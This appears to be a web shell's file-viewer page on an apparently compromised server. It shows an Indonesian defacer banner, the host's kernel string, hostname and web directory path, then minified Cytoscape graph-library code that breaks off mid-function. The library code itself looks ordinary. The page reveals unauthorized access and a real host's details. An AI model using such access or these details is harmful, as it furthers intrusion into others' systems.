Ganteng Doang Upload Shell Gak Bisa


Linux server.jmdstrack.com 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
/ home/ jmdstrac/ public_html/ devices/ public/ lib/

/home/jmdstrac/public_html/devices/public/lib/cytoscape.min.js

(()=>{var e=Array(41).concat([e=>{e.exports=function(e){function t(e){typeof console!=="undefined"&&(console.error||console.log)("[Script Loader]",e)}function r(){return typeof attachEvent!=="undefined"&&typeof addEventListener==="undefined"}try{if(typeof execScript!=="undefined"&&r()){execScript(e)}else if(typeof eval!=="undefined"){eval.call(null,e)}else{t("EvalError: No eval function available")}}catch(e){t(e)}}},,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,(e,t,r)=>{"use strict";function n(e){return e&&typeof e==="object"&&"default"in e?e["default"]:e}var a=n(r(137));var i=n(r(138));var o=n(r(140));var s=n(r(141));var u=n(r(142));function l(e){if(typeof Symbol==="function"&&typeof Symbol.iterator==="symbol"){l=function(e){return typeof e}}else{l=function(e){return e&&typeof Symbol==="function"&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e}}return l(e)}function f(e,t){if(!(e instanceof t)){throw new TypeError("Cannot call a class as a function")}}function c(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||false;n.configurable=true;if("value"in n)n.writable=true;Object.defineProperty(e,n.key,n)}}function v(e,t,r){if(t)c(e.prototype,t);if(r)c(e,r);return e}function d(e,t,r){if(t in e){Object.defineProperty(e,t,{value:r,enumerable:true,configurable:true,writable:true})}else{e[t]=r}return e}function h(e,t){return p(e)||g(e,t)||y()}function p(e){if(Array.isArray(e))return e}function g(e,t){var r=[];var n=true;var a=false;var i=undefined;try{for(var o=e[Symbol.iterator](),s;!(n=(s=o.next()).done);n=true){r.push(s.value);if(t&&r.length===t)break}}catch(e){a=true;i=e}finally{try{if(!n&&o["return"]!=null)o["return"]()}finally{if(a)throw i}}return r}function y(){throw new TypeError("Invalid attempt to destructure non-iterable instance")}var m=typeof window==="undefined"?null:window;var b=m?m.navigator:null;var x=m?m.document:null;var w=l("");var E=l({});var _=l((function(){}));var k=typeof HTMLElement==="undefined"?"undefined":l(HTMLElement);var S=function e(t){return t&&t.instanceString&&D(t.instanceString)?t.instanceString():null};var C=function e(t){return t!=null&&l(t)==w};var D=function e(t){return t!=null&&l(t)===_};var T=function e(t){return!z(t)&&(Array.isArray?Array.isArray(t):t!=null&&t instanceof Array)};var P=function e(t){return t!=null&&l(t)===E&&!T(t)&&t.constructor===Object};var M=function e(t){return t!=null&&l(t)===E};var I=function e(t){return t!=null&&l(t)===l(1)&&!isNaN(t)};var O=function e(t){return I(t)&&Math.floor(t)===t};var N=function e(t){if("undefined"===k){return undefined}else{return null!=t&&t instanceof HTMLElement}};var z=function e(t){return A(t)||L(t)};var A=function e(t){return S(t)==="collection"&&t._private.single};var L=function e(t){return S(t)==="collection"&&!t._private.single};var B=function e(t){return S(t)==="core"};var j=function e(t){return S(t)==="stylesheet"};var R=function e(t){return S(t)==="event"};var F=function e(t){if(t===undefined||t===null){return true}else if(t===""||t.match(/^\s+$/)){return true}return false};var V=function e(t){if(typeof HTMLElement==="undefined"){return false}else{return t instanceof HTMLElement}};var q=function e(t){return P(t)&&I(t.x1)&&I(t.x2)&&I(t.y1)&&I(t.y2)};var G=function e(t){return M(t)&&D(t.then)};var Y=function e(){return b&&b.userAgent.match(/msie|trident|edge/i)};var X=function e(t,r){if(!r){r=function e(){if(arguments.length===1){return arguments[0]}else if(arguments.length===0){return"undefined"}var t=[];for(var r=0;r<arguments.length;r++){t.push(arguments[r])}return t.join("$")}}var n=function e(){var n=this;var a=arguments;var i;var o=r.apply(n,a);var s=e.cache;if(!(i=s[o])){i=s[o]=t.apply(n,a)}return i};n.cache={};return n};var W=X((function(e){return e.replace(/([A-Z])/g,(function(e){return"-"+e.toLowerCase()}))}));var H=X((function(e){return e.replace(/(-\w)/g,(function(e){return e[1].toUpperCase()}))}));var U=X((function(e,t){return e+t[0].toUpperCase()+t.substring(1)}),(function(e,t){return e+"$"+t}));var K=function e(t){if(F(t)){return t}return t.charAt(0).toUpperCase()+t.substring(1)};var $="(?:[-+]?(?:(?:\\d+|\\d*\\.\\d+)(?:[Ee][+-]?\\d+)?))";var Z="rgb[a]?\\(("+$+"[%]?)\\s*,\\s*("+$+"[%]?)\\s*,\\s*("+$+"[%]?)(?:\\s*,\\s*("+$+"))?\\)";var Q="rgb[a]?\\((?:"+$+"[%]?)\\s*,\\s*(?:"+$+"[%]?)\\s*,\\s*(?:"+$+"[%]?)(?:\\s*,\\s*(?:"+$+"))?\\)";var J="hsl[a]?\\(("+$+")\\s*,\\s*("+$+"[%])\\s*,\\s*("+$+"[%])(?:\\s*,\\s*("+$+"))?\\)";var ee="hsl[a]?\\((?:"+$+")\\s*,\\s*(?:"+$+"[%])\\s*,\\s*(?:"+$+"[%])(?:\\s*,\\s*(?:"+$+"))?\\)";var te="\\#[0-9a-fA-F]{3}";var re="\\#[0-9a-fA-F]{6}";var ne=function e(t,r){if(t<r){return-1}else if(t>r){return 1}else{return 0}};var ae=function e(t,r){return-1*ne(t,r)};var ie=Object.assign!=null?Object.assign.bind(Object):function(e){var t=arguments;for(var r=1;r<t.length;r++){var n=t[r];if(n==null){continue}var a=Object.keys(n);for(var i=0;i<a.length;i++){var o=a[i];e[o]=n[o]}}return e};var oe=function e(t){if(!(t.length===4||t.length===7)||t[0]!=="#"){return}var r=t.length===4;var n,a,i;var o=16;if(r){n=parseInt(t[1]+t[1],o);a=parseInt(t[2]+t[2],o);i=parseInt(t[3]+t[3],o)}else{n=parseInt(t[1]+t[2],o);a=parseInt(t[3]+t[4],o);i=parseInt(t[5]+t[6],o)}return[n,a,i]};var se=function e(t){var r;var n,a,i,o,s,u,l;function f(e,t,r){if(r<0)r+=1;if(r>1)r-=1;if(r<1/6)return e+(t-e)*6*r;if(r<1/2)return t;if(r<2/3)return e+(t-e)*(2/3-r)*6;return e}var c=new RegExp("^"+J+"$").exec(t);if(c){n=parseInt(c[1]);if(n<0){n=(360- -1*n%360)%360}else if(n>360){n=n%360}n/=360;a=parseFloat(c[2]);if(a<0||a>100){return}a=a/100;i=parseFloat(c[3]);if(i<0||i>100){return}i=i/100;o=c[4];if(o!==undefined){o=parseFloat(o);if(o<0||o>1){return}}if(a===0){s=u=l=Math.round(i*255)}else{var v=i<.5?i*(1+a):i+a-i*a;var d=2*i-v;s=Math.round(255*f(d,v,n+1/3));u=Math.round(255*f(d,v,n));l=Math.round(255*f(d,v,n-1/3))}r=[s,u,l,o]}return r};var ue=function e(t){var r;var n=new RegExp("^"+Z+"$").exec(t);if(n){r=[];var a=[];for(var i=1;i<=3;i++){var o=n[i];if(o[o.length-1]==="%"){a[i]=true}o=parseFloat(o);if(a[i]){o=o/100*255}if(o<0||o>255){return}r.push(Math.floor(o))}var s=a[1]||a[2]||a[3];var u=a[1]&&a[2]&&a[3];if(s&&!u){return}var l=n[4];if(l!==undefined){l=parseFloat(l);if(l<0||l>1){return}r.push(l)}}return r};var le=function e(t){return ce[t.toLowerCase()]};var fe=function e(t){return(T(t)?t:null)||le(t)||oe(t)||ue(t)||se(t)};var ce={transparent:[0,0,0,0],aliceblue:[240,248,255],antiquewhite:[250,235,215],aqua:[0,255,255],aquamarine:[127,255,212],azure:[240,255,255],beige:[245,245,220],bisque:[255,228,196],black:[0,0,0],blanchedalmond:[255,235,205],blue:[0,0,255],blueviolet:[138,43,226],brown:[165,42,42],burlywood:[222,184,135],cadetblue:[95,158,160],chartreuse:[127,255,0],chocolate:[210,105,30],coral:[255,127,80],cornflowerblue:[100,149,237],cornsilk:[255,248,220],crimson:[220,20,60],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgoldenrod:[184,134,11],darkgray:[169,169,169],darkgreen:[0,100,0],darkgrey:[169,169,169],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkseagreen:[143,188,143],darkslateblue:[72,61,139],darkslategray:[47,79,79],darkslategrey:[47,79,79],darkturquoise:[0,206,209],darkviolet:[148,0,211],deeppink:[255,20,147],deepskyblue:[0,191,255],dimgray:[105,105,105],dimgrey:[105,105,105],dodgerblue:[30,144,255],firebrick:[178,34,34],floralwhite:[255,250,240],forestgreen:[34,139,34],fuchsia:[255,0,255],gainsboro:[220,220,220],ghostwhite:[248,248,255],gold:[255,215,0],goldenrod:[218,165,32],gray:[128,128,128],grey:[128,128,128],green:[0,128,0],greenyellow:[173,255,47],honeydew:[240,255,240],hotpink:[255,105,180],indianred:[205,92,92],indigo:[75,0,130],ivory:[255,255,240],khaki:[240,230,140],lavender:[230,230,250],lavenderblush:[255,240,245],lawngreen:[124,252,0],lemonchiffon:[255,250,205],lightblue:[173,216,230],lightcoral:[240,128,128],lightcyan:[224,255,255],lightgoldenrodyellow:[250,250,210],lightgray:[211,211,211],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightsalmon:[255,160,122],lightseagreen:[32,178,170],lightskyblue:[135,206,250],lightslategray:[119,136,153],lightslategrey:[119,136,153],lightsteelblue:[176,196,222],lightyellow:[255,255,224],lime:[0,255,0],limegreen:[50,205,50],linen:[250,240,230],magenta:[255,0,255],maroon:[128,0,0],mediumaquamarine:[102,205,170],mediumblue:[0,0,205],mediumorchid:[186,85,211],mediumpurple:[147,112,219],mediumseagreen:[60,179,113],mediumslateblue:[123,104,238],mediumspringgreen:[0,250,154],mediumturquoise:[72,209,204],mediumvioletred:[199,21,133],midnightblue:[25,25,112],mintcream:[245,255,250],mistyrose:[255,228,225],moccasin:[255,228,181],navajowhite:[255,222,173],navy:[0,0,128],oldlace:[253,245,230],olive:[128,128,0],olivedrab:[107,142,35],orange:[255,165,0],orangered:[255,69,0],orchid:[218,112,214],palegoldenrod:[238,232,170],palegreen:[152,251,152],paleturquoise:[175,238,238],palevioletred:[219,112,147],papayawhip:[255,239,213],peachpuff:[255,218,185],peru:[205,133,63],pink:[255,192,203],plum:[221,160,221],powderblue:[176,224,230],purple:[128,0,128],red:[255,0,0],rosybrown:[188,143,143],royalblue:[65,105,225],saddlebrown:[139,69,19],salmon:[250,128,114],sandybrown:[244,164,96],seagreen:[46,139,87],seashell:[255,245,238],sienna:[160,82,45],silver:[192,192,192],skyblue:[135,206,235],slateblue:[106,90,205],slategray:[112,128,144],slategrey:[112,128,144],snow:[255,250,250],springgreen:[0,255,127],steelblue:[70,130,180],tan:[210,180,140],teal:[0,128,128],thistle:[216,191,216],tomato:[255,99,71],turquoise:[64,224,208],violet:[238,130,238],wheat:[245,222,179],white:[255,255,255],whitesmoke:[245,245,245],yellow:[255,255,0],yellowgreen:[154,205,50]};var ve=function e(t){var r=t.map;var n=t.keys;var a=n.length;for(var i=0;i<a;i++){var o=n[i];if(P(o)){throw Error("Tried to set map with object key")}if(i<n.length-1){if(r[o]==null){r[o]={}}r=r[o]}else{r[o]=t.value}}};var de=function e(t){var r=t.map;var n=t.keys;var a=n.length;for(var i=0;i<a;i++){var o=n[i];if(P(o)){throw Error("Tried to get map with object key")}r=r[o];if(r==null){return r}}return r};var he=m?m.performance:null;var pe=he&&he.now?function(){return he.now()}:function(){return Date.now()};var ge=function(){if(m){if(m.requestAnimationFrame){return function(e){m.requestAnimationFrame(e)}}else if(m.mozRequestAnimationFrame){return function(e){m.mozRequestAnimationFrame(e)}}else if(m.webkitRequestAnimationFrame){return function(e){m.webkitRequestAnimationFrame(e)}}else if(m.msRequestAnimationFrame){return function(e){m.msRequestAnimationFrame(e)}}}return function(e){if(e){setTimeout((function(){e(pe())}),1e3/60)}}}();var ye=function e(t){return ge(t)};var me=pe;var be=9261;var xe=65599;var we=5381;var Ee=function e(t){var r=arguments.length>1&&arguments[1]!==undefined?arguments[1]:be;var n=r;var a;for(;;){a=t.next();if(a.done){break}n=n*xe+a.value|0}return n};var _e=function e(t){var r=arguments.length>1&&arguments[1]!==undefined?arguments[1]:be;return r*xe+t|0};var ke=function e(t){var r=arguments.length>1&&arguments[1]!==undefined?arguments[1]:we;return(r<<5)+r+t|0};var Se=function e(t,r){return t*2097152+r};var Ce=function e(t){return t[0]*2097152+t[1]};var De=function e(t,r){return[_e(t[0],r[0]),ke(t[1],r[1])]};var Te=function e(t,r){var n={value:0,done:false};var a=0;var i=t.length;var o={next:function e(){if(a<i){n.value=t[a++]}else{n.done=true}return n}};return Ee(o,r)};var Pe=function e(t,r){var n={value:0,done:false};var a=0;var i=t.length;var o={next:function e(){if(a<i){n.value=t.charCodeAt(a++)}else{n.done=true}return n}};return Ee(o,r)};var Me=function e(){return Ie(arguments)};var Ie=function e(t){var r;for(var n=0;n<t.length;n++){var a=t[n];if(n===0){r=Pe(a)}else{r=Pe(a,r)}}return r};var Oe=true;var Ne=console.warn!=null;var ze=console.trace!=null;var Ae=Number.MAX_SAFE_INTEGER||9007199254740991;var Le=function e(){return true};var Be=function e(){return false};var je=function e(){return 0};var Re=function e(){};var Fe=function e(t){throw new Error(t)};var Ve=function e(t){if(t!==undefined){Oe=!!t}else{return Oe}};var qe=function e(t){if(!Ve()){return}if(Ne){console.warn(t)}else{console.log(t);if(ze){console.trace()}}};var Ge=function e(t){return ie({},t)};var Ye=function e(t){if(t==null){return t}if(T(t)){return t.slice()}else if(P(t)){return Ge(t)}else{return t}};var Xe=function e(t){return t.slice()};var We=function e(t,r){for(r=t="";t++<36;r+=t*51&52?(t^15?8^Math.random()*(t^20?16:4):4).toString(16):"-"){}return r};var He={};var Ue=function e(){return He};var Ke=function e(t){var r=Object.keys(t);return function(e){var n={};for(var a=0;a<r.length;a++){var i=r[a];var o=e==null?undefined:e[i];n[i]=o===undefined?t[i]:o}return n}};var $e=function e(t,r,n){for(var a=t.length-1;a>=0;a--){if(t[a]===r){t.splice(a,1);if(n){break}}}};var Ze=function e(t){t.splice(0,t.length)};var Qe=function e(t,r){for(var n=0;n<r.length;n++){var a=r[n];t.push(a)}};var Je=function e(t,r,n){if(n){r=U(n,r)}return t[r]};var et=function e(t,r,n,a){if(n){r=U(n,r)}t[r]=a};var tt=function(){function e(){f(this,e);this._obj={}}v(e,[{key:"set",value:function e(t,r){this._obj[t]=r;return this}},{key:"delete",value:function e(t){this._obj[t]=undefined;return this}},{key:"clear",value:function e(){this._obj={}}},{key:"has",value:function e(t){return this._obj[t]!==undefined}},{key:"get",value:function e(t){return this._obj[t]}}]);return e}();var rt=typeof Map!=="undefined"?Map:tt;var nt="undefined";var at=function(){function e(t){f(this,e);this._obj=Object.create(null);this.size=0;if(t!=null){var r;if(t.instanceString!=null&&t.instanceString()===this.instanceString()){r=t.toArray()}else{r=t}for(var n=0;n<r.length;n++){this.add(r[n])}}}v(e,[{key:"instanceString",value:function e(){return"set"}},{key:"add",value:function e(t){var r=this._obj;if(r[t]!==1){r[t]=1;this.size++}}},{key:"delete",value:function e(t){var r=this._obj;if(r[t]===1){r[t]=0;this.size--}}},{key:"clear",value:function e(){this._obj=Object.create(null)}},{key:"has",value:function e(t){return this._obj[t]===1}},{key:"toArray",value:function e(){var t=this;return Object.keys(this._obj).filter((function(e){return t.has(e)}))}},{key:"forEach",value:function e(t,r){return this.toArray().forEach(t,r)}}]);return e}();var it=(typeof Set==="undefined"?"undefined":l(Set))!==nt?Set:at;var ot=function e(t,r){var n=arguments.length>2&&arguments[2]!==undefined?arguments[2]:true;if(t===undefined||r===undefined||!B(t)){Fe("An element must have a core reference and parameters set");return}var a=r.group;if(a==null){if(r.data&&r.data.source!=null&&r.data.target!=null){a="edges"}else{a="nodes"}}if(a!=="nodes"&&a!=="edges"){Fe("An element must be of type `nodes` or `edges`; you specified `"+a+"`");return}this.length=1;this[0]=this;var i=this._private={cy:t,single:true,data:r.data||{},position:r.position||{x:0,y:0},autoWidth:undefined,autoHeight:undefined,autoPadding:undefined,compoundBoundsClean:false,listeners:[],group:a,style:{},rstyle:{},styleCxts:[],styleKeys:{},removed:true,selected:r.selected?true:false,selectable:r.selectable===undefined?true:r.selectable?true:false,locked:r.locked?true:false,grabbed:false,grabbable:r.grabbable===undefined?true:r.grabbable?true:false,pannable:r.pannable===undefined?a==="edges"?true:false:r.pannable?true:false,active:false,classes:new it,animation:{current:[],queue:[]},rscratch:{},scratch:r.scratch||{},edges:[],children:[],parent:null,traversalCache:{},backgrounding:false,bbCache:null,bbCacheShift:{x:0,y:0},bodyBounds:null,overlayBounds:null,labelBounds:{all:null,source:null,target:null,main:null},arrowBounds:{source:null,target:null,"mid-source":null,"mid-target":null}};if(i.position.x==null){i.position.x=0}if(i.position.y==null){i.position.y=0}if(r.renderedPosition){var o=r.renderedPosition;var s=t.pan();var u=t.zoom();i.position={x:(o.x-s.x)/u,y:(o.y-s.y)/u}}var l=[];if(T(r.classes)){l=r.classes}else if(C(r.classes)){l=r.classes.split(/\s+/)}for(var f=0,c=l.length;f<c;f++){var v=l[f];if(!v||v===""){continue}i.classes.add(v)}this.createEmitter();var d=r.style||r.css;if(d){qe("Setting a `style` bypass at element creation should be done only when absolutely necessary.  Try to use the stylesheet instead.");this.style(d)}if(n===undefined||n){this.restore()}};var st=function e(t){t={bfs:t.bfs||!t.dfs,dfs:t.dfs||!t.bfs};return function e(r,n,a){var i;if(P(r)&&!z(r)){i=r;r=i.roots||i.root;n=i.visit;a=i.directed}a=arguments.length===2&&!D(n)?n:a;n=D(n)?n:function(){};var o=this._private.cy;var s=r=C(r)?this.filter(r):r;var u=[];var l=[];var f={};var c={};var v={};var d=0;var h;var p=this.byGroup(),g=p.nodes,y=p.edges;for(var m=0;m<s.length;m++){var b=s[m];var x=b.id();if(b.isNode()){u.unshift(b);if(t.bfs){v[x]=true;l.push(b)}c[x]=0}}var w=function e(){var r=t.bfs?u.shift():u.pop();var i=r.id();if(t.dfs){if(v[i]){return"continue"}v[i]=true;l.push(r)}var o=c[i];var s=f[i];var p=s!=null?s.source():null;var m=s!=null?s.target():null;var b=s==null?undefined:r.same(p)?m[0]:p[0];var x=void 0;x=n(r,s,b,d++,o);if(x===true){h=r;return"break"}if(x===false){return"break"}var w=r.connectedEdges().filter((function(e){return(!a||e.source().same(r))&&y.has(e)}));for(var E=0;E<w.length;E++){var _=w[E];var k=_.connectedNodes().filter((function(e){return!e.same(r)&&g.has(e)}));var S=k.id();if(k.length!==0&&!v[S]){k=k[0];u.push(k);if(t.bfs){v[S]=true;l.push(k)}f[S]=_;c[S]=c[i]+1}}};e:while(u.length!==0){var E=w();switch(E){case"continue":continue;case"break":break e}}var _=o.collection();for(var k=0;k<l.length;k++){var S=l[k];var T=f[S.id()];if(T!=null){_.push(T)}_.push(S)}return{path:o.collection(_),found:o.collection(h)}}};var ut={breadthFirstSearch:st({bfs:true}),depthFirstSearch:st({dfs:true})};ut.bfs=ut.breadthFirstSearch;ut.dfs=ut.depthFirstSearch;var lt=Ke({root:null,weight:function e(t){return 1},directed:false});var ft={dijkstra:function e(t){if(!P(t)){var r=arguments;t={root:r[0],weight:r[1],directed:r[2]}}var n=lt(t),a=n.root,o=n.weight,s=n.directed;var u=this;var l=o;var f=C(a)?this.filter(a)[0]:a[0];var c={};var v={};var d={};var h=this.byGroup(),p=h.nodes,g=h.edges;g.unmergeBy((function(e){return e.isLoop()}));var y=function e(t){return c[t.id()]};var m=function e(t,r){c[t.id()]=r;b.updateItem(t)};var b=new i((function(e,t){return y(e)-y(t)}));for(var x=0;x<p.length;x++){var w=p[x];c[w.id()]=w.same(f)?0:Infinity;b.push(w)}var E=function e(t,r){var n=(s?t.edgesTo(r):t.edgesWith(r)).intersect(g);var a=Infinity;var i;for(var o=0;o<n.length;o++){var u=n[o];var f=l(u);if(f<a||!i){a=f;i=u}}return{edge:i,dist:a}};while(b.size()>0){var _=b.pop();var k=y(_);var S=_.id();d[S]=k;if(k===Infinity){continue}var D=_.neighborhood().intersect(p);for(var T=0;T<D.length;T++){var M=D[T];var I=M.id();var O=E(_,M);var N=k+O.dist;if(N<y(M)){m(M,N);v[I]={node:_,edge:O.edge}}}}return{distanceTo:function e(t){var r=C(t)?p.filter(t)[0]:t[0];return d[r.id()]},pathTo:function e(t){var r=C(t)?p.filter(t)[0]:t[0];var n=[];var a=r;var i=a.id();if(r.length>0){n.unshift(r);while(v[i]){var o=v[i];n.unshift(o.edge);n.unshift(o.node);a=o.node;i=a.id()}}return u.spawn(n)}}}};var ct={kruskal:function e(t){t=t||function(e){return 1};var r=this.byGroup(),n=r.nodes,a=r.edges;var i=n.length;var o=new Array(i);var s=n;var u=function e(t){for(var r=0;r<o.length;r++){var n=o[r];if(n.has(t)){return r}}};for(var l=0;l<i;l++){o[l]=this.spawn(n[l])}var f=a.sort((function(e,r){return t(e)-t(r)}));for(var c=0;c<f.length;c++){var v=f[c];var d=v.source()[0];var h=v.target()[0];var p=u(d);var g=u(h);var y=o[p];var m=o[g];if(p!==g){s.merge(v);y.merge(m);o.splice(g,1)}}return s}};var vt=Ke({root:null,goal:null,weight:function e(t){return 1},heuristic:function e(t){return 0},directed:false});var dt={aStar:function e(t){var r=this.cy();var n=vt(t),a=n.root,o=n.goal,s=n.heuristic,u=n.directed,l=n.weight;a=r.collection(a)[0];o=r.collection(o)[0];var f=a.id();var c=o.id();var v={};var d={};var h={};var p=new i((function(e,t){return d[e.id()]-d[t.id()]}));var g=new it;var y={};var m={};var b=function e(t,r){p.push(t);g.add(r)};var x,w;var E=function e(){x=p.pop();w=x.id();g["delete"](w)};var _=function e(t){return g.has(t)};b(a,f);v[f]=0;d[f]=s(a);var k=0;while(p.size()>0){E();k++;if(w===c){var S=[];var C=o;var D=c;var T=m[D];for(;;){S.unshift(C);if(T!=null){S.unshift(T)}C=y[D];if(C==null){break}D=C.id();T=m[D]}return{found:true,distance:v[w],path:this.spawn(S),steps:k}}h[w]=true;var P=x._private.edges;for(var M=0;M<P.length;M++){var I=P[M];if(!this.hasElementWithId(I.id())){continue}if(u&&I.data("source")!==w){continue}var O=I.source();var N=I.target();var z=O.id()!==w?O:N;var A=z.id();if(!this.hasElementWithId(A)){continue}if(h[A]){continue}var L=v[w]+l(I);if(!_(A)){v[A]=L;d[A]=L+s(z);b(z,A);y[A]=x;m[A]=I;continue}if(L<v[A]){v[A]=L;d[A]=L+s(z);y[A]=x;m[A]=I}}}return{found:false,distance:undefined,path:undefined,steps:k}}};var ht=Ke({weight:function e(t){return 1},directed:false});var pt={floydWarshall:function e(t){var r=this.cy();var n=ht(t),a=n.weight,i=n.directed;var o=a;var s=this.byGroup(),u=s.nodes,l=s.edges;var f=u.length;var c=f*f;var v=function e(t){return u.indexOf(t)};var d=function e(t){return u[t]};var h=new Array(c);for(var p=0;p<c;p++){var g=p%f;var y=(p-g)/f;if(y===g){h[p]=0}else{h[p]=Infinity}}var m=new Array(c);var b=new Array(c);for(var x=0;x<l.length;x++){var w=l[x];var E=w.source()[0];var _=w.target()[0];if(E===_){continue}var k=v(E);var S=v(_);var D=k*f+S;var T=o(w);if(h[D]>T){h[D]=T;m[D]=S;b[D]=w}if(!i){var P=S*f+k;if(!i&&h[P]>T){h[P]=T;m[P]=k;b[P]=w}}}for(var M=0;M<f;M++){for(var I=0;I<f;I++){var O=I*f+M;for(var N=0;N<f;N++){var z=I*f+N;var A=M*f+N;if(h[O]+h[A]<h[z]){h[z]=h[O]+h[A];m[z]=m[O]}}}}var L=function e(t){return(C(t)?r.filter(t):t)[0]};var B=function e(t){return v(L(t))};var j={distance:function e(t,r){var n=B(t);var a=B(r);return h[n*f+a]},path:function e(t,n){var a=B(t);var i=B(n);var o=d(a);if(a===i){return o.collection()}if(m[a*f+i]==null){return r.collection()}var e=r.collection();var s=a;var u;e.merge(o);while(a!==i){s=a;a=m[a*f+i];u=b[s*f+a];e.merge(u);e.merge(d(a))}return e}};return j}};var gt=Ke({weight:function e(t){return 1},directed:false,root:null});var yt={bellmanFord:function e(t){var r=this;var n=gt(t),a=n.weight,i=n.directed,o=n.root;var s=a;var u=this;var l=this.cy();var f=this.byGroup(),c=f.edges,v=f.nodes;var d=v.length;var h=new rt;var p=false;var g=[];o=l.collection(o)[0];c.unmergeBy((function(e){return e.isLoop()}));var y=c.length;var m=function e(t){var r=h.get(t.id());if(!r){r={};h.set(t.id(),r)}return r};var b=function e(t){return(C(t)?l.$(t):t)[0]};var x=function e(t){return m(b(t)).dist};var w=function e(t){var n=arguments.length>1&&arguments[1]!==undefined?arguments[1]:o;var a=b(t);var i=[];var s=a;for(;;){if(s==null){return r.spawn()}var l=m(s),f=l.edge,c=l.pred;i.unshift(s[0]);if(s.same(n)&&i.length>0){break}if(f!=null){i.unshift(f)}s=c}return u.spawn(i)};for(var E=0;E<d;E++){var _=v[E];var k=m(_);if(_.same(o)){k.dist=0}else{k.dist=Infinity}k.pred=null;k.edge=null}var S=false;var D=function e(t,r,n,a,i,o){var s=a.dist+o;if(s<i.dist&&!n.same(a.edge)){i.dist=s;i.pred=t;i.edge=n;S=true}};for(var T=1;T<d;T++){S=false;for(var P=0;P<y;P++){var M=c[P];var I=M.source();var O=M.target();var N=s(M);var z=m(I);var A=m(O);D(I,O,M,z,A,N);if(!i){D(O,I,M,A,z,N)}}if(!S){break}}if(S){var L=[];for(var B=0;B<y;B++){var j=c[B];var R=j.source();var F=j.target();var V=s(j);var q=m(R).dist;var G=m(F).dist;if(q+V<G||!i&&G+V<q){if(!p){qe("Graph contains a negative weight cycle for Bellman-Ford");p=true}if(t.findNegativeWeightCycles!==false){var Y=[];if(q+V<G){Y.push(R)}if(!i&&G+V<q){Y.push(F)}var X=Y.length;for(var W=0;W<X;W++){var H=Y[W];var U=[H];U.push(m(H).edge);var K=m(H).pred;while(U.indexOf(K)===-1){U.push(K);U.push(m(K).edge);K=m(K).pred}U=U.slice(U.indexOf(K));var $=U[0].id();var Z=0;for(var Q=2;Q<U.length;Q+=2){if(U[Q].id()<$){$=U[Q].id();Z=Q}}U=U.slice(Z).concat(U.slice(0,Z));U.push(U[0]);var J=U.map((function(e){return e.id()})).join(",");if(L.indexOf(J)===-1){g.push(u.spawn(U));L.push(J)}}}else{break}}}}return{distanceTo:x,pathTo:w,hasNegativeWeightCycle:p,negativeWeightCycles:g}}};var mt=Math.sqrt(2);var bt=function e(t,r,n){if(n.length===0){Fe("Karger-Stein must be run on a connected (sub)graph")}var a=n[t];var i=a[1];var o=a[2];var s=r[i];var u=r[o];var l=n;for(var f=l.length-1;f>=0;f--){var c=l[f];var v=c[1];var d=c[2];if(r[v]===s&&r[d]===u||r[v]===u&&r[d]===s){l.splice(f,1)}}for(var h=0;h<l.length;h++){var p=l[h];if(p[1]===u){l[h]=p.slice();l[h][1]=s}else if(p[2]===u){l[h]=p.slice();l[h][2]=s}}for(var g=0;g<r.length;g++){if(r[g]===u){r[g]=s}}return l};var xt=function e(t,r,n,a){while(n>a){var i=Math.floor(Math.random()*r.length);r=bt(i,t,r);n--}return r};var wt={kargerStein:function e(){var t=this;var r=this.byGroup(),n=r.nodes,a=r.edges;a.unmergeBy((function(e){return e.isLoop()}));var i=n.length;var o=a.length;var s=Math.ceil(Math.pow(Math.log(i)/Math.LN2,2));var u=Math.floor(i/mt);if(i<2){Fe("At least 2 nodes are required for Karger-Stein algorithm");return undefined}var l=[];for(var f=0;f<o;f++){var c=a[f];l.push([f,n.indexOf(c.source()),n.indexOf(c.target())])}var v=Infinity;var d=[];var h=new Array(i);var p=new Array(i);var g=new Array(i);var y=function e(t,r){for(var n=0;n<i;n++){r[n]=t[n]}};for(var m=0;m<=s;m++){for(var b=0;b<i;b++){p[b]=b}var x=xt(p,l.slice(),i,u);var w=x.slice();y(p,g);var E=xt(p,x,u,2);var _=xt(g,w,u,2);if(E.length<=_.length&&E.length<v){v=E.length;d=E;y(p,h)}else if(_.length<=E.length&&_.length<v){v=_.length;d=_;y(g,h)}}var k=this.spawn(d.map((function(e){return a[e[0]]})));var S=this.spawn();var C=this.spawn();var D=h[0];for(var T=0;T<h.length;T++){var P=h[T];var M=n[T];if(P===D){S.merge(M)}else{C.merge(M)}}var I=function e(r){var n=t.spawn();r.forEach((function(e){n.merge(e);e.connectedEdges().forEach((function(e){if(t.contains(e)&&!k.contains(e)){n.merge(e)}}))}));return n};var O=[I(S),I(C)];var N={cut:k,components:O,partition1:S,partition2:C};return N}};var Et=function e(t){return{x:t.x,y:t.y}};var _t=function e(t,r,n){return{x:t.x*r+n.x,y:t.y*r+n.y}};var kt=function e(t,r,n){return{x:(t.x-n.x)/r,y:(t.y-n.y)/r}};var St=function e(t){return{x:t[0],y:t[1]}};var Ct=function e(t){var r=arguments.length>1&&arguments[1]!==undefined?arguments[1]:0;var n=arguments.length>2&&arguments[2]!==undefined?arguments[2]:t.length;var e=Infinity;for(var a=r;a<n;a++){var i=t[a];if(isFinite(i)){e=Math.min(i,e)}}return e};var Dt=function e(t){var r=arguments.length>1&&arguments[1]!==undefined?arguments[1]:0;var n=arguments.length>2&&arguments[2]!==undefined?arguments[2]:t.length;var e=-Infinity;for(var a=r;a<n;a++){var i=t[a];if(isFinite(i)){e=Math.max(i,e)}}return e};var Tt=function e(t){var r=arguments.length>1&&arguments[1]!==undefined?arguments[1]:0;var n=arguments.length>2&&arguments[2]!==undefined?arguments[2]:t.length;var a=0;var i=0;for(var o=r;o<n;o++){var s=t[o];if(isFinite(s)){a+=s;i++}}return a/i};var Pt=function e(t){var r=arguments.length>1&&arguments[1]!==undefined?arguments[1]:0;var 